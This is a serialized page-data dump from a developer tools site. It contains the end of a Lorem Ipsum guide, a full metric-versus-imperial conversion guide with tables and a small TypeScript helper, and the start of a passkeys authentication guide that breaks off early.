\u003Cp>Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\u003C\u002Fp>\n\u003C\u002Farticle>\n",[143,284757,284758,284766,284779,284792,284805],{"__ignoreMap":141},[1560,284759,284760,284762,284764],{"class":1562,"line":1563},[1560,284761,6431],{"class":1570},[1560,284763,161323],{"class":2484},[1560,284765,6441],{"class":1570},[1560,284767,284768,284770,284772,284775,284777],{"class":1562,"line":337},[1560,284769,11223],{"class":1570},[1560,284771,11],{"class":2484},[1560,284773,284774],{"class":1570},">Lorem ipsum dolor sit amet\u003C\u002F",[1560,284776,11],{"class":2484},[1560,284778,6441],{"class":1570},[1560,284780,284781,284783,284785,284788,284790],{"class":1562,"line":343},[1560,284782,11223],{"class":1570},[1560,284784,16],{"class":2484},[1560,284786,284787],{"class":1570},">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.\u003C\u002F",[1560,284789,16],{"class":2484},[1560,284791,6441],{"class":1570},[1560,284793,284794,284796,284798,284801,284803],{"class":1562,"line":365},[1560,284795,11223],{"class":1570},[1560,284797,16],{"class":2484},[1560,284799,284800],{"class":1570},">Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat.\u003C\u002F",[1560,284802,16],{"class":2484},[1560,284804,6441],{"class":1570},[1560,284806,284807,284809,284811],{"class":1562,"line":889},[1560,284808,11242],{"class":1570},[1560,284810,161323],{"class":2484},[1560,284812,6441],{"class":1570},[33,284814,284816],{"id":284815},"generating-lorem-ipsum-programmatically","Generating Lorem Ipsum Programmatically",[16,284818,284819],{},"Many JavaScript libraries can generate Lorem Ipsum:",[135,284821,284823],{"className":1607,"code":284822,"language":1609,"meta":141,"style":141},"\u002F\u002F Using faker.js\nimport { faker } from '@faker-js\u002Ffaker';\n\nconst loremParagraph = faker.lorem.paragraph();\nconst loremSentence = faker.lorem.sentence();\nconst loremWords = faker.lorem.words(5);\n",[143,284824,284825,284830,284844,284848,284865,284881],{"__ignoreMap":141},[1560,284826,284827],{"class":1562,"line":1563},[1560,284828,284829],{"class":1649},"\u002F\u002F Using faker.js\n",[1560,284831,284832,284834,284837,284839,284842],{"class":1562,"line":337},[1560,284833,8162],{"class":1669},[1560,284835,284836],{"class":1570}," { faker } ",[1560,284838,8168],{"class":1669},[1560,284840,284841],{"class":5634}," '@faker-js\u002Ffaker'",[1560,284843,2228],{"class":1570},[1560,284845,284846],{"class":1562,"line":343},[1560,284847,1702],{"emptyLinePlaceholder":363},[1560,284849,284850,284852,284855,284857,284860,284863],{"class":1562,"line":365},[1560,284851,8180],{"class":1669},[1560,284853,284854],{"class":1576}," loremParagraph",[1560,284856,8186],{"class":1669},[1560,284858,284859],{"class":1570}," faker.lorem.",[1560,284861,284862],{"class":1566},"paragraph",[1560,284864,90158],{"class":1570},[1560,284866,284867,284869,284872,284874,284876,284879],{"class":1562,"line":889},[1560,284868,8180],{"class":1669},[1560,284870,284871],{"class":1576}," loremSentence",[1560,284873,8186],{"class":1669},[1560,284875,284859],{"class":1570},[1560,284877,284878],{"class":1566},"sentence",[1560,284880,90158],{"class":1570},[1560,284882,284883,284885,284888,284890,284892,284894,284896,284898],{"class":1562,"line":1710},[1560,284884,8180],{"class":1669},[1560,284886,284887],{"class":1576}," loremWords",[1560,284889,8186],{"class":1669},[1560,284891,284859],{"class":1570},[1560,284893,38393],{"class":1566},[1560,284895,1688],{"class":1570},[1560,284897,13431],{"class":1576},[1560,284899,1744],{"class":1570},[33,284901,284903],{"id":284902},"css-only-placeholder-text","CSS-Only Placeholder Text",[16,284905,284906,284907,284909],{},"You can use CSS ",[143,284908,63339],{}," property for very simple placeholders (not recommended for production):",[135,284911,284913],{"className":1554,"code":284912,"language":1556,"meta":141,"style":141},".placeholder::before {\n  content: \"Lorem ipsum dolor sit amet...\";\n  color: #999;\n  font-style: italic;\n}\n",[143,284914,284915,284922,284933,284944,284955],{"__ignoreMap":141},[1560,284916,284917,284920],{"class":1562,"line":1563},[1560,284918,284919],{"class":1566},".placeholder::before",[1560,284921,1571],{"class":1570},[1560,284923,284924,284926,284928,284931],{"class":1562,"line":337},[1560,284925,5629],{"class":1576},[1560,284927,1663],{"class":1570},[1560,284929,284930],{"class":5634},"\"Lorem ipsum dolor sit amet...\"",[1560,284932,2228],{"class":1570},[1560,284934,284935,284937,284939,284942],{"class":1562,"line":343},[1560,284936,2510],{"class":1576},[1560,284938,1663],{"class":1570},[1560,284940,284941],{"class":1576},"#999",[1560,284943,2228],{"class":1570},[1560,284945,284946,284949,284951,284953],{"class":1562,"line":365},[1560,284947,284948],{"class":1576},"  font-style",[1560,284950,1663],{"class":1570},[1560,284952,245228],{"class":1576},[1560,284954,2228],{"class":1570},[1560,284956,284957],{"class":1562,"line":889},[1560,284958,1585],{"class":1570},[11,284960,284962],{"id":284961},"best-practices-for-using-placeholder-text","Best Practices for Using Placeholder Text",[33,284964,284966],{"id":284965},"_1-always-replace-before-launch","1. Always Replace Before Launch",[16,284968,284969],{},"Never launch a website with Lorem Ipsum or any placeholder text visible to users. It looks unprofessional and can harm credibility.",[33,284971,284973],{"id":284972},"_2-use-it-early-replace-it-often","2. Use It Early, Replace It Often",[16,284975,284976],{},"Start with Lorem Ipsum for rapid prototyping, but replace it with real content as soon as possible—ideally before stakeholder reviews.",[33,284978,284980],{"id":284979},"_3-match-the-tone","3. Match the Tone",[16,284982,284983],{},"If you use themed placeholder text (like Cat Ipsum), ensure it matches your brand voice, or switch to neutral Lorem Ipsum for professional contexts.",[33,284985,284987],{"id":284986},"_4-test-with-real-content-lengths","4. Test with Real Content Lengths",[16,284989,284990],{},"Even if you use Lorem Ipsum initially, test your design with content lengths similar to what you expect in production.",[33,284992,284994],{"id":284993},"_5-document-what-needs-replacement","5. Document What Needs Replacement",[16,284996,284997],{},"If you're handing off to another developer or content team, clearly mark which text is placeholder and needs replacement.",[135,284999,285001],{"className":6417,"code":285000,"language":6419,"meta":141,"style":141},"\u003C!-- TODO: Replace with actual client testimonial -->\n\u003Cblockquote>\n  Lorem ipsum dolor sit amet, consectetur adipiscing elit...\n\u003C\u002Fblockquote>\n",[143,285002,285003,285008,285016,285021],{"__ignoreMap":141},[1560,285004,285005],{"class":1562,"line":1563},[1560,285006,285007],{"class":1649},"\u003C!-- TODO: Replace with actual client testimonial -->\n",[1560,285009,285010,285012,285014],{"class":1562,"line":337},[1560,285011,6431],{"class":1570},[1560,285013,95741],{"class":2484},[1560,285015,6441],{"class":1570},[1560,285017,285018],{"class":1562,"line":343},[1560,285019,285020],{"class":1570},"  Lorem ipsum dolor sit amet, consectetur adipiscing elit...\n",[1560,285022,285023,285025,285027],{"class":1562,"line":365},[1560,285024,11242],{"class":1570},[1560,285026,95741],{"class":2484},[1560,285028,6441],{"class":1570},[11,285030,285032],{"id":285031},"fun-facts-about-lorem-ipsum","Fun Facts About Lorem Ipsum",[77,285034,285035,285041,285047,285053,285059],{},[44,285036,285037,285040],{},[47,285038,285039],{},"It's older than the printing press",": The source text is from 45 BC, over 1500 years before Gutenberg's press.",[44,285042,285043,285046],{},[47,285044,285045],{},"It survived the digital revolution",": From hot metal typesetting to desktop publishing to web design, Lorem Ipsum has adapted to every publishing technology.",[44,285048,285049,285052],{},[47,285050,285051],{},"There are many \"flavors\"",": You can find Lorem Ipsum generators that produce text in different lengths, with custom starting phrases, or with specific word counts.",[44,285054,285055,285058],{},[47,285056,285057],{},"It has its own Wikipedia page",": Lorem Ipsum is so significant that it has a dedicated Wikipedia entry.",[44,285060,285061,285064],{},[47,285062,285063],{},"It's built into many tools",": Microsoft Word, Adobe InDesign, Sketch, Figma, and countless web frameworks include Lorem Ipsum generators.",[11,285066,2831],{"id":265315},[16,285068,285069],{},"Lorem Ipsum has earned its place in design history through five centuries of faithful service. While modern alternatives offer variety and context-specific options, the classic Latin placeholder remains the most recognized and widely used dummy text in the world.",[16,285071,285072],{},"Whether you stick with tradition or embrace modern alternatives, the key is using placeholder text as a tool to focus on design, while remembering to replace it with meaningful content before your website goes live.",[16,285074,285075],{},"The next time you see \"Lorem ipsum dolor sit amet...\" in a design, you'll know you're looking at a tradition that connects modern web design to the philosophical writings of ancient Rome—even if nobody's actually reading Cicero anymore.",[11,285077,286],{"id":285},[16,285079,285080,285081,285083],{},"Need placeholder text for your next project? Use our ",[98,285082,6789],{"href":6788}," to create custom-length paragraphs, sentences, or words instantly.",[2043,285085,285086],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":285088},[285089,285090,285095,285101,285105,285111,285121,285126,285133,285134,285135],{"id":284366,"depth":337,"text":284367},{"id":284384,"depth":337,"text":284385,"children":285091},[285092,285093,285094],{"id":284388,"depth":343,"text":284389},{"id":284402,"depth":343,"text":284403},{"id":284422,"depth":343,"text":284423},{"id":284435,"depth":337,"text":284436,"children":285096},[285097,285098,285099,285100],{"id":284439,"depth":343,"text":284440},{"id":284446,"depth":343,"text":284447},{"id":284453,"depth":343,"text":284454},{"id":284460,"depth":343,"text":284461},{"id":284467,"depth":337,"text":284468,"children":285102},[285103,285104],{"id":284471,"depth":343,"text":284472},{"id":284533,"depth":343,"text":284534},{"id":284540,"depth":337,"text":284541,"children":285106},[285107,285108,285109,285110],{"id":284547,"depth":343,"text":284548},{"id":284554,"depth":343,"text":284555},{"id":284572,"depth":343,"text":284573},{"id":284579,"depth":343,"text":284580},{"id":284586,"depth":337,"text":284587,"children":285112},[285113,285114,285115,285116,285117,285118,285119,285120],{"id":284593,"depth":343,"text":284594},{"id":284619,"depth":343,"text":284620},{"id":284636,"depth":343,"text":284637},{"id":284653,"depth":343,"text":284654},{"id":284670,"depth":343,"text":284671},{"id":284687,"depth":343,"text":284688},{"id":284704,"depth":343,"text":284705},{"id":284721,"depth":343,"text":284722},{"id":284747,"depth":337,"text":284748,"children":285122},[285123,285124,285125],{"id":284751,"depth":343,"text":284752},{"id":284815,"depth":343,"text":284816},{"id":284902,"depth":343,"text":284903},{"id":284961,"depth":337,"text":284962,"children":285127},[285128,285129,285130,285131,285132],{"id":284965,"depth":343,"text":284966},{"id":284972,"depth":343,"text":284973},{"id":284979,"depth":343,"text":284980},{"id":284986,"depth":343,"text":284987},{"id":284993,"depth":343,"text":284994},{"id":285031,"depth":337,"text":285032},{"id":265315,"depth":337,"text":2831},{"id":285,"depth":337,"text":286},"Learn the origins of Lorem Ipsum dummy text, why it's used in web design, and explore modern alternatives for placeholder content.",{"immutable":363},{"title":284361,"description":285136},"guides\u002Florem-ipsum-explained","UED8t-oWAtGYWoEQlYXpMcvkjD9Tf18nzU9x5LmKwI0",{"id":285142,"title":285143,"body":285144,"date":257855,"description":285938,"extension":361,"meta":285939,"navigation":363,"path":151209,"readingTime":2507,"seo":285940,"stem":285941,"__hash__":285942},"guides\u002Fguides\u002Fmetric-vs-imperial.md","Metric vs Imperial: Complete Conversion Guide",{"type":8,"value":285145,"toc":285915},[285146,285150,285153,285158,285160,285274,285278,285292,285296,285376,285379,285390,285393,285396,285467,285471,285477,285481,285499,285503,285595,285599,285602,285650,285653,285657,285715,285719,285723,285726,285737,285741,285744,285852,285854,285887,285891,285912],[11,285147,285149],{"id":285148},"two-systems-one-world","Two Systems, One World",[16,285151,285152],{},"Most of the world uses the metric system (meters, kilograms, Celsius). The United States, Liberia, and Myanmar primarily use the imperial system (feet, pounds, Fahrenheit). If you work across borders — and most developers do — you need to convert between them confidently.",[16,285154,18550,285155,285157],{},[98,285156,664],{"href":663}," for instant, accurate conversions.",[11,285159,142795],{"id":9418},[193,285161,285162,285174],{},[196,285163,285164],{},[199,285165,285166,285168,285171],{},[202,285167,15609],{},[202,285169,285170],{},"Imperial",[202,285172,285173],{},"Conversion Formula",[211,285175,285176,285187,285198,285209,285219,285230,285241,285252,285263],{},[199,285177,285178,285181,285184],{},[216,285179,285180],{},"1 millimeter (mm)",[216,285182,285183],{},"0.03937 inches",[216,285185,285186],{},"in = mm × 0.03937",[199,285188,285189,285192,285195],{},[216,285190,285191],{},"1 centimeter (cm)",[216,285193,285194],{},"0.3937 inches",[216,285196,285197],{},"in = cm × 0.3937",[199,285199,285200,285203,285206],{},[216,285201,285202],{},"1 meter (m)",[216,285204,285205],{},"3.2808 feet",[216,285207,285208],{},"ft = m × 3.2808",[199,285210,285211,285213,285216],{},[216,285212,285202],{},[216,285214,285215],{},"1.0936 yards",[216,285217,285218],{},"yd = m × 1.0936",[199,285220,285221,285224,285227],{},[216,285222,285223],{},"1 kilometer (km)",[216,285225,285226],{},"0.6214 miles",[216,285228,285229],{},"mi = km × 0.6214",[199,285231,285232,285235,285238],{},[216,285233,285234],{},"1 inch (in)",[216,285236,285237],{},"2.54 cm",[216,285239,285240],{},"cm = in × 2.54",[199,285242,285243,285246,285249],{},[216,285244,285245],{},"1 foot (ft)",[216,285247,285248],{},"0.3048 m",[216,285250,285251],{},"m = ft × 0.3048",[199,285253,285254,285257,285260],{},[216,285255,285256],{},"1 yard (yd)",[216,285258,285259],{},"0.9144 m",[216,285261,285262],{},"m = yd × 0.9144",[199,285264,285265,285268,285271],{},[216,285266,285267],{},"1 mile (mi)",[216,285269,285270],{},"1.6093 km",[216,285272,285273],{},"km = mi × 1.6093",[33,285275,285277],{"id":285276},"quick-estimates","Quick Estimates",[41,285279,285280,285283,285286,285289],{},[44,285281,285282],{},"1 inch ≈ width of a thumb",[44,285284,285285],{},"1 meter ≈ 3 feet 3 inches",[44,285287,285288],{},"1 kilometer ≈ 0.6 miles (roughly two-thirds of a mile)",[44,285290,285291],{},"100 km\u002Fh ≈ 62 mph",[11,285293,285295],{"id":285294},"weight-mass","Weight \u002F Mass",[193,285297,285298,285308],{},[196,285299,285300],{},[199,285301,285302,285304,285306],{},[202,285303,15609],{},[202,285305,285170],{},[202,285307,285173],{},[211,285309,285310,285321,285332,285343,285354,285365],{},[199,285311,285312,285315,285318],{},[216,285313,285314],{},"1 gram (g)",[216,285316,285317],{},"0.03527 ounces",[216,285319,285320],{},"oz = g × 0.03527",[199,285322,285323,285326,285329],{},[216,285324,285325],{},"1 kilogram (kg)",[216,285327,285328],{},"2.2046 pounds",[216,285330,285331],{},"lb = kg × 2.2046",[199,285333,285334,285337,285340],{},[216,285335,285336],{},"1 ounce (oz)",[216,285338,285339],{},"28.3495 g",[216,285341,285342],{},"g = oz × 28.3495",[199,285344,285345,285348,285351],{},[216,285346,285347],{},"1 pound (lb)",[216,285349,285350],{},"0.4536 kg",[216,285352,285353],{},"kg = lb × 0.4536",[199,285355,285356,285359,285362],{},[216,285357,285358],{},"1 stone (st)",[216,285360,285361],{},"6.3503 kg",[216,285363,285364],{},"kg = st × 6.3503",[199,285366,285367,285370,285373],{},[216,285368,285369],{},"1 metric tonne",[216,285371,285372],{},"1.1023 US tons",[216,285374,285375],{},"ton = t × 1.1023",[33,285377,285277],{"id":285378},"quick-estimates-1",[41,285380,285381,285384,285387],{},[44,285382,285383],{},"1 kg ≈ 2.2 lb",[44,285385,285386],{},"100 g ≈ 3.5 oz",[44,285388,285389],{},"A typical car weighs about 1.5 tonnes (≈ 3300 lb)",[11,285391,91305],{"id":285392},"temperature",[16,285394,285395],{},"This is the trickiest conversion because the zero points differ.",[193,285397,285398,285410],{},[196,285399,285400],{},[199,285401,285402,285405,285408],{},[202,285403,285404],{},"Metric (°C)",[202,285406,285407],{},"Imperial (°F)",[202,285409,2973],{},[211,285411,285412,285423,285434,285445,285456],{},[199,285413,285414,285417,285420],{},[216,285415,285416],{},"-40 °C",[216,285418,285419],{},"-40 °F",[216,285421,285422],{},"Where both scales meet",[199,285424,285425,285428,285431],{},[216,285426,285427],{},"0 °C",[216,285429,285430],{},"32 °F",[216,285432,285433],{},"Freezing point of water",[199,285435,285436,285439,285442],{},[216,285437,285438],{},"20 °C",[216,285440,285441],{},"68 °F",[216,285443,285444],{},"Comfortable room temperature",[199,285446,285447,285450,285453],{},[216,285448,285449],{},"37 °C",[216,285451,285452],{},"98.6 °F",[216,285454,285455],{},"Normal body temperature",[199,285457,285458,285461,285464],{},[216,285459,285460],{},"100 °C",[216,285462,285463],{},"212 °F",[216,285465,285466],{},"Boiling point of water",[33,285468,285470],{"id":285469},"conversion-formulas","Conversion Formulas",[135,285472,285475],{"className":285473,"code":285474,"language":140},[138],"°F = (°C × 9\u002F5) + 32\n°C = (°F - 32) × 5\u002F9\n",[143,285476,285474],{"__ignoreMap":141},[33,285478,285480],{"id":285479},"quick-mental-math","Quick Mental Math",[41,285482,285483,285491],{},[44,285484,285485,285486],{},"To convert Celsius to Fahrenheit: double it, subtract 10%, add 32.\n",[41,285487,285488],{},[44,285489,285490],{},"Example: 20°C → 40 → 36 → 68°F ✓",[44,285492,285493,285494],{},"To convert Fahrenheit to Celsius: subtract 32, halve it, add 10%.\n",[41,285495,285496],{},[44,285497,285498],{},"Example: 68°F → 36 → 18 → 19.8°C ≈ 20°C ✓",[11,285500,285502],{"id":285501},"volume","Volume",[193,285504,285505,285516],{},[196,285506,285507],{},[199,285508,285509,285511,285514],{},[202,285510,15609],{},[202,285512,285513],{},"Imperial (US)",[202,285515,285173],{},[211,285517,285518,285529,285540,285551,285562,285573,285584],{},[199,285519,285520,285523,285526],{},[216,285521,285522],{},"1 milliliter (mL)",[216,285524,285525],{},"0.03381 fl oz (US)",[216,285527,285528],{},"fl oz = mL × 0.03381",[199,285530,285531,285534,285537],{},[216,285532,285533],{},"1 liter (L)",[216,285535,285536],{},"0.2642 US gallons",[216,285538,285539],{},"gal = L × 0.2642",[199,285541,285542,285545,285548],{},[216,285543,285544],{},"1 US fluid ounce",[216,285546,285547],{},"29.5735 mL",[216,285549,285550],{},"mL = fl oz × 29.5735",[199,285552,285553,285556,285559],{},[216,285554,285555],{},"1 US cup",[216,285557,285558],{},"236.588 mL",[216,285560,285561],{},"mL = cup × 236.588",[199,285563,285564,285567,285570],{},[216,285565,285566],{},"1 US pint",[216,285568,285569],{},"473.176 mL",[216,285571,285572],{},"mL = pt × 473.176",[199,285574,285575,285578,285581],{},[216,285576,285577],{},"1 US quart",[216,285579,285580],{},"946.353 mL",[216,285582,285583],{},"mL = qt × 946.353",[199,285585,285586,285589,285592],{},[216,285587,285588],{},"1 US gallon",[216,285590,285591],{},"3.7854 L",[216,285593,285594],{},"L = gal × 3.7854",[33,285596,285598],{"id":285597},"imperial-vs-us-liquid-measures","Imperial vs US Liquid Measures",[16,285600,285601],{},"The UK imperial system differs from the US system:",[193,285603,285604,285615],{},[196,285605,285606],{},[199,285607,285608,285610,285612],{},[202,285609,17957],{},[202,285611,269518],{},[202,285613,285614],{},"UK (Imperial)",[211,285616,285617,285628,285639],{},[199,285618,285619,285622,285625],{},[216,285620,285621],{},"Fluid ounce",[216,285623,285624],{},"29.57 mL",[216,285626,285627],{},"28.41 mL",[199,285629,285630,285633,285636],{},[216,285631,285632],{},"Pint",[216,285634,285635],{},"473 mL",[216,285637,285638],{},"568 mL",[199,285640,285641,285644,285647],{},[216,285642,285643],{},"Gallon",[216,285645,285646],{},"3.785 L",[216,285648,285649],{},"4.546 L",[16,285651,285652],{},"A UK pint is about 20% larger than a US pint — important when ordering beer.",[11,285654,285656],{"id":285655},"area","Area",[193,285658,285659,285669],{},[196,285660,285661],{},[199,285662,285663,285665,285667],{},[202,285664,15609],{},[202,285666,285170],{},[202,285668,285173],{},[211,285670,285671,285682,285693,285704],{},[199,285672,285673,285676,285679],{},[216,285674,285675],{},"1 sq centimeter (cm²)",[216,285677,285678],{},"0.155 sq in",[216,285680,285681],{},"in² = cm² × 0.155",[199,285683,285684,285687,285690],{},[216,285685,285686],{},"1 sq meter (m²)",[216,285688,285689],{},"10.7639 sq ft",[216,285691,285692],{},"ft² = m² × 10.7639",[199,285694,285695,285698,285701],{},[216,285696,285697],{},"1 sq kilometer (km²)",[216,285699,285700],{},"0.3861 sq mi",[216,285702,285703],{},"mi² = km² × 0.3861",[199,285705,285706,285709,285712],{},[216,285707,285708],{},"1 hectare",[216,285710,285711],{},"2.4711 acres",[216,285713,285714],{},"acre = ha × 2.4711",[11,285716,285718],{"id":285717},"why-developers-need-both","Why Developers Need Both",[33,285720,285722],{"id":285721},"screen-sizes-and-dpi","Screen Sizes and DPI",[16,285724,285725],{},"CSS uses pixels, but physical dimensions often come in inches or centimeters. When designing for print or high-DPI screens, you may need to convert:",[41,285727,285728,285734],{},[44,285729,285730,285731],{},"DPI (dots per inch) ↔ dpcm (dots per centimeter): 1 inch = 2.54 cm, so ",[143,285732,285733],{},"dpcm = DPI \u002F 2.54",[44,285735,285736],{},"A 27-inch monitor diagonal is 68.58 cm",[33,285738,285740],{"id":285739},"api-data","API Data",[16,285742,285743],{},"Many international APIs return metric values. If your frontend serves US users, you'll need to convert before display. Always store in metric and convert at the presentation layer:",[135,285745,285747],{"className":17509,"code":285746,"language":17511,"meta":141,"style":141},"function displayDistance(km: number, locale: string): string {\n  if (locale === 'en-US') {\n    return `${(km * 0.6214).toFixed(1)} mi`\n  }\n  return `${km.toFixed(1)} km`\n}\n",[143,285748,285749,285781,285795,285823,285827,285848],{"__ignoreMap":141},[1560,285750,285751,285753,285756,285758,285761,285763,285765,285767,285769,285771,285773,285775,285777,285779],{"class":1562,"line":1563},[1560,285752,8648],{"class":1669},[1560,285754,285755],{"class":1566}," displayDistance",[1560,285757,1688],{"class":1570},[1560,285759,285760],{"class":2219},"km",[1560,285762,8037],{"class":1669},[1560,285764,134020],{"class":1576},[1560,285766,1459],{"class":1570},[1560,285768,185580],{"class":2219},[1560,285770,8037],{"class":1669},[1560,285772,134008],{"class":1576},[1560,285774,1525],{"class":1570},[1560,285776,8037],{"class":1669},[1560,285778,134008],{"class":1576},[1560,285780,1571],{"class":1570},[1560,285782,285783,285785,285788,285790,285793],{"class":1562,"line":337},[1560,285784,27984],{"class":1669},[1560,285786,285787],{"class":1570}," (locale ",[1560,285789,23122],{"class":1669},[1560,285791,285792],{"class":5634}," 'en-US'",[1560,285794,9345],{"class":1570},[1560,285796,285797,285799,285801,285803,285805,285807,285810,285812,285814,285816,285818,285820],{"class":1562,"line":343},[1560,285798,9434],{"class":1669},[1560,285800,34367],{"class":5634},[1560,285802,1688],{"class":5634},[1560,285804,285760],{"class":1570},[1560,285806,8064],{"class":1669},[1560,285808,285809],{"class":1576}," 0.6214",[1560,285811,9368],{"class":5634},[1560,285813,139890],{"class":1566},[1560,285815,1688],{"class":5634},[1560,285817,3585],{"class":1576},[1560,285819,1525],{"class":5634},[1560,285821,285822],{"class":5634},"} mi`\n",[1560,285824,285825],{"class":1562,"line":365},[1560,285826,4959],{"class":1570},[1560,285828,285829,285831,285833,285835,285837,285839,285841,285843,285845],{"class":1562,"line":889},[1560,285830,9350],{"class":1669},[1560,285832,34367],{"class":5634},[1560,285834,285760],{"class":1570},[1560,285836,468],{"class":5634},[1560,285838,139890],{"class":1566},[1560,285840,1688],{"class":5634},[1560,285842,3585],{"class":1576},[1560,285844,1525],{"class":5634},[1560,285846,285847],{"class":5634},"} km`\n",[1560,285849,285850],{"class":1562,"line":1710},[1560,285851,1585],{"class":1570},[11,285853,2341],{"id":2340},[77,285855,285856,285862,285868,285874],{},[44,285857,285858,285861],{},[47,285859,285860],{},"Confusing mass and weight."," A kilogram is mass; a pound is technically force. In everyday use they're interchangeable, but in physics calculations they are not.",[44,285863,285864,285867],{},[47,285865,285866],{},"Using US gallons for UK recipes."," A UK gallon is 4.546 L vs the US 3.785 L — a 20% difference.",[44,285869,285870,285873],{},[47,285871,285872],{},"Forgetting absolute zero."," Temperature conversion must account for offset (the +32 or -32), not just the ratio.",[44,285875,285876,285879,285880,285883,285884,468],{},[47,285877,285878],{},"Rounding too early."," Chain conversions accumulate error. Convert in one step: ",[143,285881,285882],{},"kg → lb"," not ",[143,285885,285886],{},"kg → g → oz → lb",[11,285888,285890],{"id":285889},"related-resources","Related Resources",[41,285892,285893,285899,285906],{},[44,285894,285895],{},[98,285896,285898],{"href":285897},"\u002Fguides\u002Funit-conversion-tips","Unit Conversion Tips: How to Convert Accurately Every Time",[44,285900,285901,285905],{},[98,285902,285904],{"href":285903},"\u002Fcheat-sheets\u002Funit-conversion","Unit Conversion Cheat Sheet"," — printable reference card",[44,285907,285908,285911],{},[98,285909,285910],{"href":663},"Unit Converter Tool"," — instant browser-based conversions",[2043,285913,285914],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":285916},[285917,285918,285921,285924,285928,285931,285932,285936,285937],{"id":285148,"depth":337,"text":285149},{"id":9418,"depth":337,"text":142795,"children":285919},[285920],{"id":285276,"depth":343,"text":285277},{"id":285294,"depth":337,"text":285295,"children":285922},[285923],{"id":285378,"depth":343,"text":285277},{"id":285392,"depth":337,"text":91305,"children":285925},[285926,285927],{"id":285469,"depth":343,"text":285470},{"id":285479,"depth":343,"text":285480},{"id":285501,"depth":337,"text":285502,"children":285929},[285930],{"id":285597,"depth":343,"text":285598},{"id":285655,"depth":337,"text":285656},{"id":285717,"depth":337,"text":285718,"children":285933},[285934,285935],{"id":285721,"depth":343,"text":285722},{"id":285739,"depth":343,"text":285740},{"id":2340,"depth":337,"text":2341},{"id":285889,"depth":337,"text":285890},"Full comparison of metric and imperial measurement systems with conversion formulas for length, weight, temperature, and volume.",{"immutable":363},{"title":285143,"description":285938},"guides\u002Fmetric-vs-imperial","LmyLYVR04IoQSucB6FzR-91X47IwZfQndHBugO6YQUM",{"id":285944,"title":285945,"body":285946,"date":257855,"description":288812,"extension":361,"meta":288813,"navigation":363,"path":288814,"readingTime":2524,"seo":288815,"stem":288816,"__hash__":288817},"guides\u002Fguides\u002Fpasskeys-future.md","Passkeys: The Future of Passwordless Authentication",{"type":8,"value":285947,"toc":288781},[285948,285950,285953,285956,285959,285963,285969,285988,285991,285993,286070,286074,286081,286095,286099,286528,286532,286843,286847,287230,287234,287237,287315,287319,287385,287389,287451,287455,287459,287559,287563,287696,287700,287704,288302,288306,288312,288488,288492,288495,288499,288502,288522,288525,288529,288532,288609,288613,288616,288715,288718,288742,288744,288747,288767,288770,288772,288778],[11,285949,2776],{"id":256641},[16,285951,285952],{},"Passwords have been the primary method of authentication for decades, but they are increasingly showing their age. Users struggle with password fatigue, weak passwords, and phishing attacks. Meanwhile, organizations face the cost of password resets, breach notifications, and compliance issues.",[16,285954,285955],{},"Passkeys represent a paradigm shift in authentication. Built on the WebAuthn (Web Authentication) API and FIDO2 (Fast Identity Online) standards, passkeys offer a passwordless, phishing-resistant authentication method that is both more secure and more user-friendly.",[16,285957,285958],{},"This guide explains how passkeys work, how they compare to passwords, and how to implement them in your applications.",[11,285960,285962],{"id":285961},"what-are-passkeys","What Are Passkeys?",[16,285964,78047,285965,285968],{},[47,285966,285967],{},"passkey"," is a cryptographic credential that replaces passwords. Instead of typing a memorable string, the user authenticates 